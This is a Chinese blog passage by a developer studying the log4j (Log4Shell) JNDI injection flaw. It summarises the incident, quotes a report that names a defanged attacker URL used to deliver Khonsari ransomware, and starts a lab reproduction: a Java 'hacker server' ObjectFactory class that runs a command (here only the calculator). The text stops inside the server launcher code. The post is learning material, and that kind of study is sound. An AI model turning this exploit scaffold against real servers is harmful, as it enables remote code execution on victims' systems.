最近log4j的安全漏洞突然冒了出来,用了许久slf4j的我吓得赶紧翻遍了依赖,发现自己用的依赖并没有依赖上log4j-core,长吁一口气。吃了个午饭后转念一想我又没工作,也没啥线上项目在跑,何故担心这些问题?wc,那倒腾半天不就白整了,不行,反正这漏洞在java圈也挺大的,不如顺便研究一波,在未来应聘时也有聊的地方。
全文几乎都是站在巨人的肩膀上完成的,新人技术不佳,还望轻喷。
一.log4j漏洞案例
Java的应用极其广泛且生态庞大,而Log4j作为日志处理的基础组件被几乎所有应用程序所使用。
通过JNDI注入的手段,可以实现任意远程代码执行,意味着攻击者可以在存在漏洞的服务器上为所欲为。
据外媒报道,Steam、苹果的云服务受到了影响,推特和亚马逊也遭受了攻击,元宇宙概念游戏“Minecraft我的世界”数十万用户被入侵。美联社评论称,这一漏洞可能是近年来发现的最严重的计算机漏洞。
经专家研判,该漏洞影响范围极大,且利用方式十分简单,攻击者仅需向目标输入一段代码,不需要用户执行任何多余操作即可触发该漏洞,使攻击者可以远程控制用户受害者服务器,90%以上基于java开发的应用平台都会受到影响。“漏洞波及面和危害程度均堪比 2017年的‘永恒之蓝’漏洞。”
真实案例:
12月15日,BitDefender 宣称发现首个通过 Log4Shell 漏洞直接安装的勒索软件,该漏洞利用程序会下载一个 Java 类hxxp://3.145.115[.]94/Main.class(该类由 Log4j 应用程序加载和执行)文件。加载后,它会从同一台服务器下载一个 .NET 二进制文件,该文件是一个安装名为“Khonsari”的新勒索软件。
这个名字也被用作加密文件的扩展名和勒索通知,如下图所示。
在此后的攻击中,BitDefender 注意到攻击者使用相同的服务器来分发 Orcus 远程访问木马,有安全专家认为这可能是个数据擦除器(Wiper)。Emsisoft 分析师Brett Callow指出,该勒索软件以路易斯安那州一家古董店老板的联系信息命名并使用其联系信息,而不是使用攻击者自己的信息。因此,尚不清楚此人是勒索软件攻击的实际受害者还是诱饵。
测试
环境配置: log4j-2.11.1 jdk1.8.0_181
模拟黑客服务器(写的自动执行calc 召唤计算器)
public class HackerCode implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
excute("calc");
return null;
}
private void excute(String s) {
try {
Runtime.getRuntime().exec(s);
} catch (IOException e) {
e.printStackTrace();
}
}
}
模拟注册黑客服务,启动
public class HackerServerStart {
public static void main(String[] args) {